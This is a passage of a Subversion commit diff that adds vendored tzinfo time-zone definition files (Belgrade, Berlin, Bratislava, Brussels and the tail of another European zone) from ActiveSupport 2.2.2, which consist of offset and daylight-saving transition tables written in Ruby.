+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Belgrade
+        include TimezoneDefinition
+        
+        timezone 'Europe/Belgrade' do |tz|
+          tz.offset :o0, 4920, 0, :LMT
+          tz.offset :o1, 3600, 0, :CET
+          tz.offset :o2, 3600, 3600, :CEST
+          
+          tz.transition 1883, 12, :o1, 1734607039, 720
+          tz.transition 1941, 4, :o2, 29161241, 12
+          tz.transition 1942, 11, :o1, 58335973, 24
+          tz.transition 1943, 3, :o2, 58339501, 24
+          tz.transition 1943, 10, :o1, 58344037, 24
+          tz.transition 1944, 4, :o2, 58348405, 24
+          tz.transition 1944, 10, :o1, 58352773, 24
+          tz.transition 1945, 5, :o2, 58358005, 24
+          tz.transition 1945, 9, :o1, 58361149, 24
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o1, 717555600
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 9, :o1, 749005200
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 9, :o1, 780454800
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 9, :o1, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,188 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Berlin
+        include TimezoneDefinition
+        
+        timezone 'Europe/Berlin' do |tz|
+          tz.offset :o0, 3208, 0, :LMT
+          tz.offset :o1, 3600, 0, :CET
+          tz.offset :o2, 3600, 3600, :CEST
+          tz.offset :o3, 3600, 7200, :CEMT
+          
+          tz.transition 1893, 3, :o1, 26055588199, 10800
+          tz.transition 1916, 4, :o2, 29051813, 12
+          tz.transition 1916, 9, :o1, 58107299, 24
+          tz.transition 1917, 4, :o2, 58112029, 24
+          tz.transition 1917, 9, :o1, 58115725, 24
+          tz.transition 1918, 4, :o2, 58120765, 24
+          tz.transition 1918, 9, :o1, 58124461, 24
+          tz.transition 1940, 4, :o2, 58313293, 24
+          tz.transition 1942, 11, :o1, 58335973, 24
+          tz.transition 1943, 3, :o2, 58339501, 24
+          tz.transition 1943, 10, :o1, 58344037, 24
+          tz.transition 1944, 4, :o2, 58348405, 24
+          tz.transition 1944, 10, :o1, 58352773, 24
+          tz.transition 1945, 4, :o2, 58357141, 24
+          tz.transition 1945, 5, :o3, 4863199, 2
+          tz.transition 1945, 9, :o2, 4863445, 2
+          tz.transition 1945, 11, :o1, 58362661, 24
+          tz.transition 1946, 4, :o2, 58366189, 24
+          tz.transition 1946, 10, :o1, 58370413, 24
+          tz.transition 1947, 4, :o2, 29187379, 12
+          tz.transition 1947, 5, :o3, 58375597, 24
+          tz.transition 1947, 6, :o2, 4864731, 2
+          tz.transition 1947, 10, :o1, 58379125, 24
+          tz.transition 1948, 4, :o2, 58383829, 24
+          tz.transition 1948, 10, :o1, 58387861, 24
+          tz.transition 1949, 4, :o2, 58392397, 24
+          tz.transition 1949, 10, :o1, 58396597, 24
+          tz.transition 1980, 4, :o2, 323830800
+          tz.transition 1980, 9, :o1, 338950800
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 9, :o1, 370400400
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 9, :o1, 401850000
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o1, 717555600
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 9, :o1, 749005200
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 9, :o1, 780454800
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 9, :o1, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Bratislava
+        include TimezoneDefinition
+        
+        linked_timezone 'Europe/Bratislava', 'Europe/Prague'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,232 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Brussels
+        include TimezoneDefinition
+        
+        timezone 'Europe/Brussels' do |tz|
+          tz.offset :o0, 1050, 0, :LMT
+          tz.offset :o1, 1050, 0, :BMT
+          tz.offset :o2, 0, 0, :WET
+          tz.offset :o3, 3600, 0, :CET
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 0, 3600, :WEST
+          
+          tz.transition 1879, 12, :o1, 1386844121, 576
+          tz.transition 1892, 5, :o2, 1389438713, 576
+          tz.transition 1914, 11, :o3, 4840889, 2
+          tz.transition 1916, 4, :o4, 58103627, 24
+          tz.transition 1916, 9, :o3, 58107299, 24
+          tz.transition 1917, 4, :o4, 58112029, 24
+          tz.transition 1917, 9, :o3, 58115725, 24
+          tz.transition 1918, 4, :o4, 58120765, 24
+          tz.transition 1918, 9, :o3, 58124461, 24
+          tz.transition 1918, 11, :o2, 58125815, 24
+          tz.transition 1919, 3, :o5, 58128467, 24
+          tz.transition 1919, 10, :o2, 58133675, 24
+          tz.transition 1920, 2, :o5, 58136867, 24
+          tz.transition 1920, 10, :o2, 58142915, 24
+          tz.transition 1921, 3, :o5, 58146323, 24
+          tz.transition 1921, 10, :o2, 58151723, 24
+          tz.transition 1922, 3, :o5, 58155347, 24
+          tz.transition 1922, 10, :o2, 58160051, 24
+          tz.transition 1923, 4, :o5, 58164755, 24
+          tz.transition 1923, 10, :o2, 58168787, 24
+          tz.transition 1924, 3, :o5, 58172987, 24
+          tz.transition 1924, 10, :o2, 58177523, 24
+          tz.transition 1925, 4, :o5, 58181891, 24
+          tz.transition 1925, 10, :o2, 58186259, 24
+          tz.transition 1926, 4, :o5, 58190963, 24
+          tz.transition 1926, 10, :o2, 58194995, 24
+          tz.transition 1927, 4, :o5, 58199531, 24
+          tz.transition 1927, 10, :o2, 58203731, 24
+          tz.transition 1928, 4, :o5, 58208435, 24
+          tz.transition 1928, 10, :o2, 29106319, 12
+          tz.transition 1929, 4, :o5, 29108671, 12
+          tz.transition 1929, 10, :o2, 29110687, 12
+          tz.transition 1930, 4, :o5, 29112955, 12
+          tz.transition 1930, 10, :o2, 29115055, 12
+          tz.transition 1931, 4, :o5, 29117407, 12
+          tz.transition 1931, 10, :o2, 29119423, 12
+          tz.transition 1932, 4, :o5, 29121607, 12
+          tz.transition 1932, 10, :o2, 29123791, 12
+          tz.transition 1933, 3, :o5, 29125891, 12
+          tz.transition 1933, 10, :o2, 29128243, 12
+          tz.transition 1934, 4, :o5, 29130427, 12
+          tz.transition 1934, 10, :o2, 29132611, 12
+          tz.transition 1935, 3, :o5, 29134711, 12
+          tz.transition 1935, 10, :o2, 29136979, 12
+          tz.transition 1936, 4, :o5, 29139331, 12
+          tz.transition 1936, 10, :o2, 29141347, 12
+          tz.transition 1937, 4, :o5, 29143531, 12
+          tz.transition 1937, 10, :o2, 29145715, 12
+          tz.transition 1938, 3, :o5, 29147815, 12
+          tz.transition 1938, 10, :o2, 29150083, 12
+          tz.transition 1939, 4, :o5, 29152435, 12
+          tz.transition 1939, 11, :o2, 29155039, 12
+          tz.transition 1940, 2, :o5, 29156215, 12
+          tz.transition 1940, 5, :o4, 29157235, 12
+          tz.transition 1942, 11, :o3, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339501, 24
+          tz.transition 1943, 10, :o3, 58344037, 24
+          tz.transition 1944, 4, :o4, 58348405, 24
+          tz.transition 1944, 9, :o3, 58352413, 24
+          tz.transition 1945, 4, :o4, 58357141, 24
+          tz.transition 1945, 9, :o3, 58361149, 24
+          tz.transition 1946, 5, :o4, 58367029, 24
+          tz.transition 1946, 10, :o3, 58370413, 24
+          tz.transition 1977, 4, :o4, 228877200
+          tz.transition 1977, 9, :o3, 243997200
+          tz.transition 1978, 4, :o4, 260326800
+          tz.transition 1978, 10, :o3, 276051600
+          tz.transition 1979, 4, :o4, 291776400
+          tz.transition 1979, 9, :o3, 307501200
+          tz.transition 1980, 4, :o4, 323830800
+          tz.transition 1980, 9, :o3, 338950800
+          tz.transition 1981, 3, :o4, 354675600
+          tz.transition 1981, 9, :o3, 370400400
+          tz.transition 1982, 3, :o4, 386125200
+          tz.transition 1982, 9, :o3, 401850000
+          tz.transition 1983, 3, :o4, 417574800
+          tz.transition 1983, 9, :o3, 433299600
+          tz.transition 1984, 3, :o4, 449024400
+          tz.transition 1984, 9, :o3, 465354000
+          tz.transition 1985, 3, :o4, 481078800
+          tz.transition 1985, 9, :o3, 496803600
+          tz.transition 1986, 3, :o4, 512528400
+          tz.transition 1986, 9, :o3, 528253200
+          tz.transition 1987, 3, :o4, 543978000
+          tz.transition 1987, 9, :o3, 559702800
+          tz.transition 1988, 3, :o4, 575427600
+          tz.transition 1988, 9, :o3, 591152400
+          tz.transition 1989, 3, :o4, 606877200
+          tz.transition 1989, 9, :o3, 622602000
+          tz.transition 1990, 3, :o4, 638326800
+          tz.transition 1990, 9, :o3, 654656400
+          tz.transition 1991, 3, :o4, 670381200
+          tz.transition 1991, 9, :o3, 686106000
+          tz.transition 1992, 3, :o4, 701830800
+          tz.transition 1992, 9, :o3, 717555600
+          tz.transition 1993, 3, :o4, 733280400
+          tz.transition 1993, 9, :o3, 749005200
+          tz.transition 1994, 3, :o4, 764730000
+          tz.transition 1994, 9, :o3, 780454800
+          tz.transition 1995, 3, :o4, 796179600
+          tz.transition 1995, 9, :o3, 811904400
+          tz.transition 1996, 3, :o4, 828234000
+          tz.transition 1996, 10, :o3, 846378000
+          tz.transition 1997, 3, :o4, 859683600
+          tz.transition 1997, 10, :o3, 877827600
+          tz.transition 1998, 3, :o4, 891133200
+          tz.transition 1998, 10, :o3, 909277200
+          tz.transition 1999, 3, :o4, 922582800
+          tz.transition 1999, 10, :o3, 941331600
+          tz.transition 2000, 3, :o4, 954032400
+          tz.transition 2000, 10, :o3, 972781200
+          tz.transition 2001, 3, :o4, 985482000
+          tz.transition 2001, 10, :o3, 1004230800
+          tz.transition 2002, 3, :o4, 1017536400
+          tz.transition 2002, 10, :o3, 1035680400
+          tz.transition 2003, 3, :o4, 1048986000
+          tz.transition 2003, 10, :o3, 1067130000
